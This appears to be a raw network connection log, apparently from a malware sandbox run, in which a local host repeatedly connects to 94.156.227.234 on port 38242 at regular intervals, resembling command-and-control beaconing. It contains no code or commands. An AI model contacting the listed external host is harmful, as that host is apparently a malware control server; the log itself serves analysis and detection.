Dec 24, 2024 05:27:56.332833052 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:56.332912922 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:56.716280937 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:56.835938931 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:56.835998058 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:56.836011887 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:56.955486059 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:57.341833115 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:57.508191109 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:57.965509892 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:57.965575933 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:58.342684031 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:58.462268114 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:58.462327003 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:58.462341070 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:58.581908941 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:58.967091084 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:59.129300117 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:59.138780117 CET	48202	443	192.168.2.13	185.125.190.26
Dec 24, 2024 05:27:59.587486029 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:59.587568998 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:59.967977047 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:00.087702036 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:00.087776899 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:00.087928057 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:00.207623005 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:00.592570066 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:00.756314993 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:01.210496902 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:01.210561037 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:01.593491077 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:01.713202000 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:01.713310003 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:01.713458061 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:01.833062887 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:02.218744993 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:02.384159088 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:02.840934992 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:02.841020107 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:03.208098888 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:03.208157063 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:03.219780922 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:03.377769947 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:03.377849102 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:03.377929926 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:03.378088951 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:03.497637987 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:03.883119106 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:04.044162989 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:04.502762079 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:04.502826929 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:04.884133101 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:05.003772020 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:05.003843069 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:05.003859043 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:05.123624086 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:05.508536100 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:05.676134109 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:06.125426054 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:06.125519037 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:06.509434938 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:06.629014969 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:06.629132986 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:06.629153967 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:06.748744965 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:07.134072065 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:07.324106932 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:07.755400896 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:07.755587101 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:08.134865046 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:08.406043053 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:08.406205893 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:08.406205893 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:08.643914938 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:08.909595966 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:09.076132059 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:09.675071001 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:09.675141096 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:09.910396099 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:10.034749031 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:10.034939051 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:10.034939051 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:10.158025026 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:10.538116932 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:10.700304985 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:11.173908949 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:11.174022913 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:11.538783073 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:11.658401966 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:11.658483028 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:11.658514977 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:11.778052092 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:12.162123919 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:12.324255943 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:12.777756929 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:12.777858019 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:13.162749052 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:13.282370090 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:13.282562971 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:13.282597065 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:13.402153015 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:13.785788059 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:13.952141047 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:14.415518999 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:14.415591955 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:14.786518097 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:14.906131983 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:14.906276941 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:14.906305075 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:15.026223898 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:15.409382105 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:15.572288036 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:16.040714979 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:16.040796041 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:16.410470963 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:16.530014992 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:16.530138016 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:16.530155897 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:16.649728060 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:17.033380032 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:17.196094036 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:17.650151014 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:17.650254965 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:18.034014940 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:18.153846979 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:18.153930902 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:18.153959036 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:18.273621082 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:18.657224894 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:18.824228048 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:19.281712055 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:19.281799078 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:19.657746077 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:19.777414083 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:19.777482033 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:19.777497053 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:19.897015095 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:20.280227900 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:20.440078974 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:20.920861959 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:20.920989990 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:21.280827045 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:21.400444984 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:21.400535107 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:21.400536060 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:21.520138025 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:21.903487921 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:22.064205885 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:22.539412975 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:22.539499044 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:22.904066086 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:23.023650885 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:23.023749113 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:23.023750067 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:23.143373013 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:23.526845932 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:23.804032087 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:24.153624058 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:24.153820038 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:24.527493954 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:24.650718927 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:24.650779009 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:24.650803089 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:24.891165972 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:25.153983116 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:25.332433939 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:25.893611908 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:25.893748045 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:26.154571056 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:26.274276018 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:26.274369955 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:26.274369955 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:26.393985987 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:26.777656078 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:26.940071106 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:27.397372007 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:27.397443056 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:27.778331041 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:27.897862911 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:27.897945881 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:27.897970915 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:28.017602921 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:28.401782990 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:28.564060926 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:29.019221067 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:29.019300938 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:29.402482033 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:29.522042036 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:29.522106886 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:29.522135019 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:29.641721010 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:29.858684063 CET	48202	443	192.168.2.13	185.125.190.26
Dec 24, 2024 05:28:30.025569916 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:30.188075066 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:30.655333042 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:30.655400991 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:31.026345968 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:31.145992041 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:31.146070957 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:31.146095037 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:31.265717030 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:31.650075912 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:31.812097073 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:32.271430016 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:32.271497011 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:32.650779963 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:32.770394087 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:32.770509958 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:32.770570993 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:32.890121937 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:33.273893118 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:33.436047077 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:33.898958921 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:33.899027109 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:34.274550915 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:34.394114971 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:34.394188881 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:34.394205093 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:34.513866901 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:34.897120953 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:35.064191103 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:35.523205996 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:35.523372889 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:35.897819042 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:36.017383099 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:36.017462015 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:36.017482042 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:36.137180090 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:36.520298004 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:36.680008888 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:37.152318001 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:37.152415037 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:37.521106958 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:37.641555071 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:37.641623020 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:37.641623020 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:37.761229992 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:38.145210028 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:38.312045097 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:38.761428118 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:38.761491060 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:39.146081924 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:39.265629053 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:39.265719891 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:39.265739918 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:39.385458946 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:39.769382000 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:39.931989908 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:40.390816927 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:40.390954018 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:40.770415068 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:40.890085936 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:40.890327930 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:40.890342951 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:41.009854078 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:41.394176006 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:41.632061958 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:42.007344961 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:42.007658958 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:42.395282030 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:42.587893963 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:42.587990999 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:42.588130951 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:42.712778091 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:43.093828917 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:43.256025076 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:43.714932919 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:43.715131998 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:44.095268965 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:44.215167046 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:44.215370893 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:44.215538979 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:44.335417986 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:44.721468925 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:44.884149075 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:45.346409082 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:45.346827030 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:45.723202944 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:45.842859030 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:45.843005896 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:45.843161106 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:45.962672949 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:46.350378990 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:46.515949011 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:46.970968008 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:46.971416950 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:47.352121115 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:47.471698999 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:47.471962929 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:47.471962929 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:47.592130899 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:47.977750063 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:48.139995098 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:48.589792967 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:48.590094090 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:48.979079962 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:49.098790884 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:49.098927021 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:49.098948002 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:49.220046043 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:49.604770899 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:49.768037081 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:50.224653959 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:50.224739075 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:50.606537104 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:50.726959944 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:50.727188110 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:50.727188110 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:50.847007990 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:51.233243942 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:51.395998955 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:51.854176044 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:51.854389906 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:52.234493971 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:52.354147911 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:52.354423046 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:52.354515076 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:52.473977089 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:52.859731913 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:53.020025015 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:53.480873108 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:53.481030941 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:53.860965967 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:53.980750084 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:53.981009960 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:53.981059074 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:54.100902081 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:54.485896111 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:54.648022890 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:55.103219032 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 05:28:55.103570938 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:55.487166882 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:28:55.606779099 CET	38242	44626	94.156.227.234	192.168.2.13
